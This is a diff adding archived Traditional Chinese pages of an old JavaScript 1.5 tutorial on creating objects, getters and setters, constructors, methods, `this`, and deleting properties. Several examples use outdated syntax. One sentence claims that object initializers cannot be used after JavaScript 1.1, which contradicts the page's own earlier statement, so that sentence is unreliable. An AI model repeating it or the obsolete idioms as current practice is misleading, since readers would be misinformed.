+<pre>var o = {a:7, 'b' getter:function () {return this.a + 1;}, c setter:function (x) {this.a = x / 2;}};</pre>
+
+<p>請注意定義在物件的字面表達中的 Getter 和 Setter 的函數名稱使用的〝[gs]et <em>property</em>()〞（有別於稍後介紹的 <code>__define[GS]etter__</code>）並不是 Getter 本身的名稱，即使 <code>[gs]et <em>propertyName</em>(){ }</code> 語法可能會使你把他誤解成別的事物。若要命名在 Getter 或 Setter 之中的函數的名稱，就使用〝[gs]et <em>property</em>()〞語法，把 Getter 的名稱放在 get 或 set 後面，然後在其後面放上函數的名稱。下面的範例示範如何在物件的字面表達中命名 Getter 函數︰</p>
+
+<pre>var objects = [{get a b(){return 1}},
+               {a getter:function b(){return 1}},
+               {"a" getter:function b(){return 1}}];
+
+for (var i=0; i&lt;objects.length; ++i)
+    print(objects[i].__lookupGetter__("a")) // 為每一個 Getter 輸出 "function b(){return 1}"。
+</pre>
+
+<p>這次 JavaScript shell 會話說明 Getter 和 Setter 如何擴充 Date 的原型，給所有預先定義的 <code>Date</code> 類別的實體加入 year 屬性。他使用了 <code>Date</code> 類別中既存的 <code>getFullYear</code> 以及 <code>setFullYear</code> 方法，以支援 year 屬性的 Getter 和 Setter。</p>
+
+<p>以下語句針對 year 屬性定義 Getter 和 Setter︰</p>
+
+<pre>js&gt; var d = Date.prototype;
+js&gt; d.__defineGetter__("year", function() { return this.getFullYear(); });
+js&gt; d.__defineSetter__("year", function(y) { this.setFullYear(y); });
+</pre>
+
+<p>以下語句在 <code>Date</code> 物件中使用 Getter 和 Setter︰</p>
+
+<pre>js&gt; var now = new Date;
+js&gt; print(now.year);
+2000
+js&gt; now.year = 2001;
+987617605170
+js&gt; print(now);
+Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001
+</pre>
+
+<div class="note">在 JavaScript 1.5 的開發期間，這些是內含用來在既存的物件上定義新的 Getter 或 Setter 的 <code>getter =</code> 或 <code>setter =</code> 表達式的摘要，這些語法現在已被廢棄，將會在目前的 JS 1.5 引擎中引發警告，在未來的版本中將會變成語法錯誤。這些都應該要避免。</div>
+
+<h3 id="Summary" name="Summary">概要</h3>
+
+<p>原則上，Getter 和 Setter 可以</p>
+
+<ul>
+ <li>使用 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/%E7%89%A9%E4%BB%B6%E5%88%9D%E5%A7%8B%E5%8C%96%E5%AD%90%E7%9A%84%E4%BD%BF%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/新物件的建立/物件初始化子的使用">物件的初始化子</a> 定義，或</li>
+ <li>稍後在任意的時間點上對任意的物件使用 Getter 或 Setter 的添加方法來加入。</li>
+</ul>
+
+<p>當要使用 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/%E7%89%A9%E4%BB%B6%E5%88%9D%E5%A7%8B%E5%8C%96%E5%AD%90%E7%9A%84%E4%BD%BF%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/新物件的建立/物件初始化子的使用">物件的初始化子</a> 定義 Getter 和 Setter 的時候，你所需要做的是在 Getter 方法的前面加上 <code>get</code> 以及在 Setter 方法的前面加上 <code>set</code>。當然，Getter 方法不可以接受參數，Setter 方法則只能有一個參數（用來設定的新值）。舉例如下︰</p>
+
+<pre class="eval">o = {
+  a:7,
+  <strong>get</strong> b() { return this.a+1; },
+  <strong>set</strong> c(x) { this.a = x/2; }
+};
+</pre>
+
+<p>也可以在物件建立之後的任何時間點上，使用兩個稱作 <code>__defineGetter__</code> 和 <code>__defineSetter__</code> 的特殊方法，把 Getter 和 Setter 加到物件裡。這兩個方法需要 Getter 或 Setter 的名稱以字串的形式作為第一個參數。第二個參數是用來呼叫的函數作為 Getter 或 Setter。舉例如下（延用之前的例子）：</p>
+
+<pre class="eval">o.__defineGetter__("b", function() { return this.a+1; });
+o.__defineSetter__("c", function(x) { this.a = x/2; });
+</pre>
+
+<p>這兩種形式的選擇，取決於你的程式設計風格以及手上的工作。如果你已經在定義原型的時候，使用了物件的初始化子，或許你在大多數時候都會選擇第一種形式。這種形式更加密集且自然。然而，如果你需要稍後加入 Getter 和 Setter – 因為你並未編寫原型或實際的物件 – 這時第二種形式就是唯一可行的形式。第二種形式或許是 JavaScript 的動態性質中最佳的表現 – 但這會使代碼難以閱讀和理解。</p>
+
+<div class="note">
+<p>在 Firefox 3.0 以前，Getter 和 Setter 並不支援 DOM 元素。舊版本的 Firefox 會默默的出錯。如果需要這些例外，修改 HTMLElement 的原型 <code>(HTMLElement.prototype.__define{{ mediawiki.external('SG') }}etter__)</code>，並且避免拋出例外。</p>
+在 Firefox 3.0 中，在已定義的原型上定義 Getter 或 Setter 將會拋出例外。必須事先刪除這些屬性。舊版本的 Firefox 則沒有這個問題。</div>
+
+<h3 id="參閱">參閱</h3>
+
+<ul>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/%E7%89%A9%E4%BB%B6/defineGetter" title="zh tw/Core JavaScript 1.5 參考/全域物件/物件/defineGetter">__defineGetter__</a></li>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/%E7%89%A9%E4%BB%B6/defineSetter" title="zh tw/Core JavaScript 1.5 參考/全域物件/物件/defineSetter">__defineSetter__</a></li>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E9%81%8B%E7%AE%97%E5%AD%90/%E7%89%B9%E6%AE%8A%E9%81%8B%E7%AE%97%E5%AD%90/get_%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 參考/運算子/特殊運算子/get 運算子">get</a></li>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E9%81%8B%E7%AE%97%E5%AD%90/%E7%89%B9%E6%AE%8A%E9%81%8B%E7%AE%97%E5%AD%90/set_%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 參考/運算子/特殊運算子/set 運算子">set</a></li>
+</ul>
+
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:新物件的建立:使用_this_取得物件的參考", "Core_JavaScript_1.5_教學:新物件的建立:屬性的刪除") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/index.html
new file mode 100644
index 0000000000..687b428275
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/index.html
@@ -0,0 +1,18 @@
+---
+title: 新物件的建立
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/新物件的建立
+---
+<p> </p>
+<h3 id="新物件的建立" name="新物件的建立">新物件的建立</h3>
+<p>JavaScript 具備許多預先定義的物件。此外，你也可以建立你自己的物件。在 JavaScript 1.2 以後的版本中，你可以使用物件的初始化子來建立物件。另一個選擇是，你可以先建立建構子函數，然後使用這個函數以及 new 運算子來實體化物件。</p>
+<ul>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/%E7%89%A9%E4%BB%B6%E5%88%9D%E5%A7%8B%E5%8C%96%E5%AD%90%E7%9A%84%E4%BD%BF%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/新物件的建立/物件初始化子的使用">物件初始化子的使用</a></li>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/%E5%BB%BA%E6%A7%8B%E5%AD%90%E5%87%BD%E6%95%B8%E7%9A%84%E4%BD%BF%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/新物件的建立/建構子函數的使用">建構子函數的使用</a></li>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/%E7%89%A9%E4%BB%B6%E5%B1%AC%E6%80%A7%E7%9A%84%E7%B4%A2%E5%BC%95" title="zh tw/Core JavaScript 1.5 教學/新物件的建立/物件屬性的索引">物件屬性的索引</a></li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/%E9%87%9D%E5%B0%8D%E7%89%A9%E4%BB%B6%E7%9A%84%E9%A1%9E%E5%9E%8B%E5%AE%9A%E7%BE%A9%E5%B1%AC%E6%80%A7" title="zh_tw/Core_JavaScript_1.5_教學/新物件的建立/針對物件的類型定義屬性">針對物件的類型定義屬性</a></li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9A%E7%BE%A9" title="zh_tw/Core_JavaScript_1.5_教學/新物件的建立/方法的定義">方法的定義</a></li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/%E4%BD%BF%E7%94%A8_this_%E5%8F%96%E5%BE%97%E7%89%A9%E4%BB%B6%E7%9A%84%E5%8F%83%E8%80%83" title="zh_tw/Core_JavaScript_1.5_教學/新物件的建立/使用_this_取得物件的參考">使用 this 取得物件的參考</a></li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/Getter_%E5%92%8C_Setter_%E7%9A%84%E5%AE%9A%E7%BE%A9" title="zh_tw/Core_JavaScript_1.5_教學/新物件的建立/Getter_和_Setter_的定義">Getter 和 Setter 的定義</a></li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%96%B0%E7%89%A9%E4%BB%B6%E7%9A%84%E5%BB%BA%E7%AB%8B/%E5%B1%AC%E6%80%A7%E7%9A%84%E5%88%AA%E9%99%A4" title="zh_tw/Core_JavaScript_1.5_教學/新物件的建立/屬性的刪除">屬性的刪除</a></li>
+</ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:物件和屬性", "Core_JavaScript_1.5_教學:新物件的建立:物件初始化子的使用") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/使用_this_取得物件的參考/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/使用_this_取得物件的參考/index.html
new file mode 100644
index 0000000000..6af61628b5
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/使用_this_取得物件的參考/index.html
@@ -0,0 +1,27 @@
+---
+title: 使用 this 取得物件的參考
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/新物件的建立/使用_this_取得物件的參考
+---
+<p> </p>
+<h3 id="使用_this_取得物件的參考" name="使用_this_取得物件的參考">使用 this 取得物件的參考</h3>
+<p>JavaScript 有特別的關鍵字，<code>this</code>，你可以在方法內部使用，用來參考使用中的物件。舉例來說，假設你有稱為 <code>validate</code> 的函數可以檢驗物件的 value 屬性，傳入的參數是物件和上限、下限值︰</p>
+<pre>function validate(obj, lowval, hival) {
+   if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+      alert("Invalid Value!");
+}
+</pre>
+<p>然後，你可以在每一個表單的 <code>onchange 事件處理器</code>中呼叫 <code>validate</code>，使用 <code>this</code> 把 <code>form</code> 元素傳給函數，如下所示︰</p>
+<pre>&lt;input type="text" name="age" size="3"
+   onChange="validate(this, 18, 99)"&gt;
+</pre>
+<p>一般來說，<code>this</code> 會參考方法裡的呼叫端物件。</p>
+<p>如果和 <code>form</code> 的屬性結合使用<span style="font-family: monospace;">，</span><code>this</code> 可以參考使用中物件的親表單。在下面的範例中，表單 <code>myForm</code> 內含 <code>Text</code> 物件以及按鈕。當使用者按下按鈕，表單的名稱就會被設成 <code>Text</code> 物件裡的值。按鈕的 <code>onclick</code> 事件處理器使用 <code>this.form</code> 來參考親表單 <code>myForm</code>。</p>
+<pre>&lt;form name="myForm"&gt;
+&lt;p&gt;&lt;label&gt;Form name:&lt;input type="text" name="text1" value="Beluga"&gt;&lt;/label&gt;
+&lt;p&gt;&lt;input name="button1" type="button" value="Show Form Name"
+      onclick="this.form.text1.value=this.form.name"&gt;
+&lt;/p&gt;
+&lt;/form&gt;
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:新物件的建立:方法的定義", "Core_JavaScript_1.5_教學:新物件的建立:Getter 和 Setter 的定義") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/屬性的刪除/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/屬性的刪除/index.html
new file mode 100644
index 0000000000..ba099fa041
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/屬性的刪除/index.html
@@ -0,0 +1,21 @@
+---
+title: 屬性的刪除
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/新物件的建立/屬性的刪除
+---
+<p> </p>
+<h3 id="屬性的刪除" name="屬性的刪除">屬性的刪除</h3>
+<p>你可以使用 <code>delete</code> 運算子移除屬性。下面的代碼示範如何移除屬性︰</p>
+<pre>// 建立新的物件 myobj，以及兩個屬性 a 和 b。
+myobj = new Object;
+myobj.a = 5;
+myobj.b = 12;
+
+// 移除一個屬性，只剩 b 屬性留在 myobj 裡。
+delete myobj.a;
+</pre>
+<p>你也可以使用 <code>delete</code> 來刪除全域變數，只要這個變數不是使用 <code>var</code> 關鍵字宣告的話︰</p>
+<pre>g = 17;
+delete g;
+</pre>
+<p>參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E7%89%B9%E6%AE%8A%E9%81%8B%E7%AE%97%E5%AD%90#delete" title="zh tw/Core JavaScript 1.5 教學/運算子/特殊運算子#delete">delete</a> 取得更多資訊。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:新物件的建立:Getter_和_Setter_的定義", "Core_JavaScript_1.5_教學:預先定義的核心物件") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/建構子函數的使用/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/建構子函數的使用/index.html
new file mode 100644
index 0000000000..b9832bf245
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/建構子函數的使用/index.html
@@ -0,0 +1,58 @@
+---
+title: 建構子函數的使用
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/新物件的建立/建構子函數的使用
+---
+<p> </p>
+<h3 id="建構子函數的使用" name="建構子函數的使用">建構子函數的使用</h3>
+<p>還有一個選擇，你可以按照這兩個步驟來建立物件︰</p>
+<ol>
+ <li>編寫建構子函數以完成物件類型的定義。</li>
+ <li>使用 new 建立物件的實體。</li>
+</ol>
+<p>若要定義物件類型，就指定物件類型的名稱、屬性、方法並建立函數。舉例來說，假設你想要給 car 建立物件類型。你希望這個物件的類型稱作<code> car</code>，而且你還希望他有 make、model、year 這些屬性。要做到這些，你需要編寫出以下的函數︰</p>
+<pre>function car(make, model, year) {
+   this.make = make;
+   this.model = model;
+   this.year = year;
+}
+</pre>
+<p>注意 <code>this</code> 是用來把傳送給函數的值代入給物件的屬性。</p>
+<p>現在你可以建立稱作 <code>mycar</code> 的物件如下所示︰</p>
+<pre>mycar = new car("Eagle", "Talon TSi", 1993);
+</pre>
+<p>這個語句建立 <code>mycar</code> 並且把指定的值代入給他自己的屬性。然後 <code>mycar.make</code> 的值是字串 "Eagle"，<code>mycar.year</code> 是整數 1993，依此類推。</p>
+<p>你可以藉由呼叫 <code>new</code> 來建立許多個 <code>car</code> 的物件。例如，</p>
+<pre>kenscar = new car("Nissan", "300ZX", 1992);
+vpgscar = new car("Mazda", "Miata", 1990);
+</pre>
+<p>物件可以有另一個物件本身的屬性。例如，假設你定義稱為 <code>person</code> 的物件如下︰</p>
+<pre>function person(name, age, sex) {
+   this.name = name;
+   this.age = age;
+   this.sex = sex;
+}
+</pre>
+<p>然後實體化兩個新的 person 物件如下︰</p>
+<pre>rand = new person("Rand McKinnon", 33, "M");
+ken = new person("Ken Jones", 39, "M");
+</pre>
+<p>然後你可以改寫 car 的定義，加入用來接受 <code>person</code> 物件的 owner 屬性，如下︰</p>
+<pre>function car(make, model, year, owner) {
+   this.make = make;
+   this.model = model;
+   this.year = year;
+   this.owner = owner;
+}
+</pre>
+<p>若要實體化新的物件，你可以如下使用︰</p>
+<pre>car1 = new car("Eagle", "Talon TSi", 1993, rand);
+car2 = new car("Nissan", "300ZX", 1992, ken);
+</pre>
+<p>注意，當建立新的物件的時候，傳入的並不是字面表達字串或整數值，上面的語句把 <code>rand</code> 和 <code>ken</code> 物件當作參數傳給 owners。然後如果你希望找出 car2 的 owner 的名稱，你可以如下存取屬性︰</p>
+<pre>car2.owner.name
+</pre>
+<p>注意，你永遠可以給之前定義的物件加入屬性。例如，語句</p>
+<pre>car1.color = "black"
+</pre>
+<p>把 <code>color</code> 屬性加入給 car1，並且把 "black" 的值代入給新加入的屬性。然而，這樣並不能影響到其他的任何物件。若要給所有同樣類型的物件加入新的屬性，你必須把新的屬性加入到 car 物件類型的定義。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:新物件的建立:物件初始化子的使用", "Core_JavaScript_1.5_教學:新物件的建立:物件屬性的索引") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/方法的定義/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/方法的定義/index.html
new file mode 100644
index 0000000000..67a9250b8e
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/方法的定義/index.html
@@ -0,0 +1,40 @@
+---
+title: 方法的定義
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/新物件的建立/方法的定義
+---
+<p> </p>
+<h3 id="方法的定義" name="方法的定義">方法的定義</h3>
+<p><em>方法</em>就是和物件連繫在一起的函數。定義方法和定義標準函數的方式皆相同。然後使用下面的語句把函數和現存的物件連繫在一起︰</p>
+<pre>object.methodname = function_name
+</pre>
+<p>此處的 <code>object</code> 就是現存的物件，<code>methodname</code> 就是分配給方法的名稱，<code>function_name</code> 就是函數的名稱。</p>
+<p>然後你可以呼叫物件中的方法如下︰</p>
+<pre>object.methodname(params);
+</pre>
+<p>你可以藉由含入物件的建構子函數裡的方法定義，針對物件的類型來定義方法。例如，你可以定義函數，用來格式化並顯示先前定義的 car 物件的屬性。例如，</p>
+<pre>function displayCar() {
+   var result = "A Beautiful " + this.year + " " + this.make
+      + " " + this.model;
+   pretty_print(result);
+}
+</pre>
+<p>此處的 <code>pretty_print</code> 是用來顯示水平格線和字串的函數。注意 <code>this</code> 是用來參考方法所屬的物件。</p>
+<p>你可以在物件的定義中加上如下語句，把這個函數作為 car 的方法。</p>
+<pre>this.displayCar = displayCar;
+</pre>
+<p>於是，<code>car</code> 的完整定義就會變成這樣</p>
+<pre>function car(make, model, year, owner) {
+   this.make = make;
+   this.model = model;
+   this.year = year;
+   this.owner = owner;
+   this.displayCar = displayCar;
+}
+</pre>
+<p>然後你可以給每一個物件呼叫 <code>displayCar</code> 方法如下︰</p>
+<pre>car1.displayCar()
+car2.displayCar()
+</pre>
+<p>產生的輸出顯示在下圖中。</p>
+<p><img alt="Image:obja.gif" class="internal" src="/@api/deki/files/786/=Obja.gif"> <span style="font-weight: bold;">圖</span><small><strong> 7.1: 方法的輸出的顯示</strong></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:新物件的建立:針對物件的類型定義屬性", "Core_JavaScript_1.5_教學:新物件的建立:使用_this_取得物件的參考") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/物件初始化子的使用/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/物件初始化子的使用/index.html
new file mode 100644
index 0000000000..79b7e5041b
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/物件初始化子的使用/index.html
@@ -0,0 +1,23 @@
+---
+title: 物件初始化子的使用
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/新物件的建立/物件初始化子的使用
+---
+<p> </p>
+<h3 id="物件初始化子的使用" name="物件初始化子的使用">物件初始化子的使用</h3>
+<p>除了使用建構子函數來建立物件以外，你也可以使用物件的初始化子來建立物件。使用物件的初始化子，有時又被稱為以字面表達記法來建立物件。「物件初始化子」與 C++ 的術語一致。</p>
+<p>使用物件初始化子的語句如下︰</p>
+<pre class="eval">var obj = { property_1:   value_1,   // 通常以 property_# 代表識別子...
+            2:            value_2,   // 或者使用數字...
+            ...,
+            "property_n": value_n }; // 或者使用字串</pre>
+<p>此處的 <code>obj</code> 就是新物件的名稱，每一個 <code>property_<em>i</em></code> 都是識別子（可以是名稱、數字、字串的字面表達），而且每一個 <code>value_<em>i</em></code> 都是表達式，其值會代入給 <code>property_<em>i</em></code>。<code>obj</code> 和代入動作不是必要的；如果你不需要在其他地方參考這個物件，你就不需要把物件代入給變數。（注意，你也許需要以圓括弧代替花括弧來包裝物件的字面表達，如果預期物件出現的地方會有其他語句，就要避免和區塊語法相混淆。）</p>
+<p>如果物件是在最頂層的 Script 中以物件初始化子來建立的，每一次要對內含該物件的字面表達求值時，JavaScript 就會把他解譯成物件。此外，用在函數裡的初始化子，會在每一次呼叫函數的時候建立。</p>
+<p>以下的語句建立物件，並把他代入給變數 <code>x</code>，但只在表達式的條件為 true 時如此。</p>
+<pre class="eval">if (cond) x = {hi:"there"};
+</pre>
+<p>以下例子使用了三個屬性來建立 <code>myHonda</code>。注意，<code>engine</code> 屬性也是物件，並連結有自己的屬性。</p>
+<pre class="eval">var myHonda = {color:"red",wheels:4,engine:{cylinders:4,size:2.2}};
+</pre>
+<p>你也可以使用物件的初始化子來建立陣列。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%AD%97%E9%9D%A2%E8%A1%A8%E9%81%94#%E9%99%A3%E5%88%97%E7%9A%84%E5%AD%97%E9%9D%A2%E8%A1%A8%E9%81%94" title="zh tw/Core JavaScript 1.5 教學/字面表達#陣列的字面表達">陣列的字面表達</a>。</p>
+<p>在 JavaScript 1.1 以後的版本中，你無法再使用物件的初始化子。你只能使用他們的建構子函數或者使用由某些其他用途的物件所提供的函數來建立物件。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%BB%BA%E7%AB%8B%E6%96%B0%E7%9A%84%E7%89%A9%E4%BB%B6/%E5%BB%BA%E6%A7%8B%E5%AD%90%E5%87%BD%E6%95%B8%E7%9A%84%E4%BD%BF%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/建立新的物件/建構子函數的使用">建構子函數的使用</a>。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:新物件的建立", "Core_JavaScript_1.5_教學:新物件的建立:建構子函數的使用") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/物件屬性的索引/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/物件屬性的索引/index.html
new file mode 100644
index 0000000000..08e243c78b
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/物件屬性的索引/index.html
@@ -0,0 +1,10 @@
+---
+title: 物件屬性的索引
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/新物件的建立/物件屬性的索引
+---
+<p> </p>
+<h3 id="物件屬性的索引" name="物件屬性的索引">物件屬性的索引</h3>
+<p>在 JavaScript 1.0 中，你可以使用物件的屬性名稱或序號索引來參考物件的屬性。然而，在 JavaScript 1.1 以後的版本中，如果你最初使用名稱來定義屬性，你就必須永遠使用名稱來參考屬性，如果你最初使用索引來定義屬性，你就必須永遠使用索引來參考屬性。</p>
+<p>這些限制出現在，當你使用建構子函數來建立物件及其屬性的時候（例如我們之前的 Car 物件類型），以及當你明確的定義個別的屬性的時候（例如，<code>myCar.color = "red"</code>）。如果你最初使用索引來定義物件的屬性，如 <code>myCar{{ mediawiki.external(5) }} = "25 mpg"</code>，隨後你只能以 <code>myCar{{ mediawiki.external(5) }}</code> 來參考這個屬性。</p>
+<p>這個規則的例外是從 HTML 反映過來的物件，如 <code>forms</code> 陣列。你永遠可以使用序號（以在文件中出現的位置為基準）或他們的名稱（如果有定義的話）來參考這些陣列。舉例來說，如果在文件中的第二個 <code>&lt;FORM&gt;</code> 標記中有 "myForm" 的 <code>NAME</code> 屬性，你可以使用 <code>document.forms{{ mediawiki.external(1) }}</code> 或 <code>document.forms{{ mediawiki.external('\"myForm\"') }}</code> 或 <code>document.myForm</code> 來參考表單。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:新物件的建立:建構子函數的使用", "Core_JavaScript_1.5_教學:新物件的建立:針對物件的類型定義屬性") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/針對物件的類型定義屬性/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/針對物件的類型定義屬性/index.html
new file mode 100644
index 0000000000..0d1e55ac71
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/針對物件的類型定義屬性/index.html
@@ -0,0 +1,12 @@
+---
+title: 針對物件的類型定義屬性
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/新物件的建立/針對物件的類型定義屬性
+---
+<p> </p>
+<h3 id="針對物件的類型定義屬性" name="針對物件的類型定義屬性">針對物件的類型定義屬性</h3>
+<p>你可以透過 <code>prototype</code> 屬性的使用來給之前定義的物件加入新的屬性。這種屬性的定義方式可以共用給所有指定類型的物件，而不只是針對單一的物件實體。以下代碼給所有的 <code>car</code> 類型的物件加入 <code>color</code> 屬性，然後把值代入給 <code>car1</code> 物件的 <code>color</code> 屬性。</p>
+<pre>Car.prototype.color=null;
+car1.color="black";
+</pre>
+<p>參閱 <a href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83" title="zh_tw/Core_JavaScript_1.5_參考">Core JavaScript 參考</a>・函數物件・<a href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/%E5%87%BD%E6%95%B8#%E5%B1%AC%E6%80%A7" title="zh_tw/Core_JavaScript_1.5_參考/全域物件/函數#屬性"><code>prototype</code> 屬性</a> 以取得更多資訊。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:新物件的建立:物件屬性的索引", "Core_JavaScript_1.5_教學:新物件的建立:方法的定義") }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/條件語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/條件語法/index.html
new file mode 100644
index 0000000000..6282235e58
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/條件語法/index.html
@@ -0,0 +1,103 @@
+---
+title: 條件語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/條件語法
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<h3 id="條件語法" name="條件語法">條件語法</h3>
+<p>條件語法是在當指定的條件為 true 時，就執行一整組指令。JavaScript 支援兩種條件語法︰<code>if...else</code> 和 <code>switch</code>。</p>
+<h4 id="if...else_語法" name="if...else_語法">if...else 語法</h4>
+<p>如果邏輯條件為 true 時，就執行 <code>if</code> 語法裡的語句。如果條件為 false 的話，可以使用選用性的 <code>else</code> 子句來執行語句。<code>if</code> 語法如下︰</p>
+<pre class="eval">if (condition)
+   statement_1
+[else
+   statement_2]
+</pre>
